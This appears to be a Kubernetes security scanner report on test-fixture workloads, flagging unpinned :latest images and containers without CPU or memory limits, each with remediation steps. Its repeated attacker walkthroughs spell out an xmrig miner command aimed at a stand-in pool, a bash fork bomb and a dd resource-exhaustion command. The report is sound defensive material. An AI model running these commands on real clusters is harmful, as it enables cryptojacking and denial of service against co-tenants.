Container app in Deployment/cloud-eks-test/imds-pivot-app uses image public.ecr.aws/aws-cli/aws-cli:latest without a digest pin

KUBE-CONTAINER-IMAGE-001 3 subjects Score 5.0
MITRE ATT&CK: T1525T1195.002T1554T1485

Affected subjects (3)

MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.0
Container app in Deployment/cloud-eks-test/imds-pivot-app uses image public.ecr.aws/aws-cli/aws-cli:latest without a digest pin
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app references image public.ecr.aws/aws-cli/aws-cli:latest by mutable tag and uses imagePullPolicy: Always. Mutable tags (:latest, :v1, :stable, any tag without an immutable @sha256: digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With imagePullPolicy: Always, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.

This is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (registry.example/app@sha256:abc123...): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.

Digest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno verifyImages policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.

Impact A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the registry hosting public.ecr.aws/aws-cli/aws-cli:latest (compromised CI bot account, leaked registry token, third-party base-image takeover).
  2. They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at public.ecr.aws/aws-cli/aws-cli:latest.
  3. They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.
  4. Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.
  5. Detection is hard: image hash in kubectl describe pod now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time.
Remediation
Pin public.ecr.aws/aws-cli/aws-cli:latest to an immutable digest (registry.example/app@sha256:...) and reduce dependence on imagePullPolicy: Always; verify with Sigstore / cosign at admission time.
  1. Resolve the current digest: crane digest public.ecr.aws/aws-cli/aws-cli:latest (or docker buildx imagetools inspect public.ecr.aws/aws-cli/aws-cli:latest for OCI multi-arch). Pin it: image: public.ecr.aws/aws-cli/aws-cli:latest@sha256:<digest>.
  2. Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before kubectl apply.
  3. Sign images with cosign sign and require signature verification at admission with a Kyverno verifyImages rule or Sigstore Policy Controller.
  4. Add a Kyverno cluster policy that disallows un-digested image references (require-image-digest).
  5. Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites.
Evidence
Containerapp
Imagepublic.ecr.aws/aws-cli/aws-cli:latest
:latest is mutable: the same tag can resolve to different images over time
digest_pinned
false
image_pull_policy
"Always"
Show raw JSON
{
  "container": "app",
  "digest_pinned": false,
  "image": "public.ecr.aws/aws-cli/aws-cli:latest",
  "image_pull_policy": "Always"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.0
Container app in Deployment/containersec-fixtures/containersec-image uses image busybox:latest without a digest pin
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image references image busybox:latest by mutable tag and uses imagePullPolicy: Always. Mutable tags (:latest, :v1, :stable, any tag without an immutable @sha256: digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With imagePullPolicy: Always, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.

This is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (registry.example/app@sha256:abc123...): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.

Digest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno verifyImages policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.

Impact A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the registry hosting busybox:latest (compromised CI bot account, leaked registry token, third-party base-image takeover).
  2. They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at busybox:latest.
  3. They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.
  4. Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.
  5. Detection is hard: image hash in kubectl describe pod now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time.
Remediation
Pin busybox:latest to an immutable digest (registry.example/app@sha256:...) and reduce dependence on imagePullPolicy: Always; verify with Sigstore / cosign at admission time.
  1. Resolve the current digest: crane digest busybox:latest (or docker buildx imagetools inspect busybox:latest for OCI multi-arch). Pin it: image: busybox:latest@sha256:<digest>.
  2. Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before kubectl apply.
  3. Sign images with cosign sign and require signature verification at admission with a Kyverno verifyImages rule or Sigstore Policy Controller.
  4. Add a Kyverno cluster policy that disallows un-digested image references (require-image-digest).
  5. Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites.
Evidence
Containerapp
Imagebusybox:latest
:latest is mutable: the same tag can resolve to different images over time
digest_pinned
false
image_pull_policy
"Always"
Show raw JSON
{
  "container": "app",
  "digest_pinned": false,
  "image": "busybox:latest",
  "image_pull_policy": "Always"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.0
Container app in Deployment/vulnerable/risky-app uses image nginx:latest without a digest pin
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Defense Evasion Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app references image nginx:latest by mutable tag and uses imagePullPolicy: Always. Mutable tags (:latest, :v1, :stable, any tag without an immutable @sha256: digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With imagePullPolicy: Always, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.

This is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (registry.example/app@sha256:abc123...): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.

Digest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno verifyImages policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.

Impact A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the registry hosting nginx:latest (compromised CI bot account, leaked registry token, third-party base-image takeover).
  2. They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at nginx:latest.
  3. They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.
  4. Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.
  5. Detection is hard: image hash in kubectl describe pod now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time.
Remediation
Pin nginx:latest to an immutable digest (registry.example/app@sha256:...) and reduce dependence on imagePullPolicy: Always; verify with Sigstore / cosign at admission time.
  1. Resolve the current digest: crane digest nginx:latest (or docker buildx imagetools inspect nginx:latest for OCI multi-arch). Pin it: image: nginx:latest@sha256:<digest>.
  2. Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before kubectl apply.
  3. Sign images with cosign sign and require signature verification at admission with a Kyverno verifyImages rule or Sigstore Policy Controller.
  4. Add a Kyverno cluster policy that disallows un-digested image references (require-image-digest).
  5. Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites.
Evidence
Containerapp
Imagenginx:latest
:latest is mutable: the same tag can resolve to different images over time
digest_pinned
false
image_pull_policy
"Always"
Show raw JSON
{
  "container": "app",
  "digest_pinned": false,
  "image": "nginx:latest",
  "image_pull_policy": "Always"
}
MEDIUM

Container api in Deployment/flat-network/api is missing CPU limits, memory limits, CPU requests, and memory requests

KUBE-CONTAINER-LIMITS-001 25 subjects Score 5.0
MITRE ATT&CK: T1499T1496

Affected subjects (25)

MEDIUM Deployment/flat-network/api Workload 5.0
Container api in Deployment/flat-network/api is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/flat-network/api
Category: Infrastructure Modification Resource: Deployment/flat-network/api Namespace: flat-network

Container api in workload Deployment/flat-network/api does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container api (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container api so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n flat-network --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container api. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapi
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "api",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM DaemonSet/rbac-fixtures/daemon-app Workload 5.0
Container app in DaemonSet/rbac-fixtures/daemon-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Infrastructure Modification Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in workload DaemonSet/rbac-fixtures/daemon-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n rbac-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.0
Container app in Deployment/cloud-eks-test/imds-pivot-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Infrastructure Modification Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in workload Deployment/cloud-eks-test/imds-pivot-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n cloud-eks-test --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/cloud-eks-test/irsa-admin-app Workload 5.0
Container app in Deployment/cloud-eks-test/irsa-admin-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Infrastructure Modification Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in workload Deployment/cloud-eks-test/irsa-admin-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n cloud-eks-test --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.0
Container app in Deployment/containersec-fixtures/containersec-limits is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Infrastructure Modification Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in workload Deployment/containersec-fixtures/containersec-limits does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n containersec-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/csr-fixtures/csr-mint-app Workload 5.0
Container app in Deployment/csr-fixtures/csr-mint-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Infrastructure Modification Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in workload Deployment/csr-fixtures/csr-mint-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n csr-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/flat-network/unmatched Workload 5.0
Container app in Deployment/flat-network/unmatched is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Infrastructure Modification Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in workload Deployment/flat-network/unmatched does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

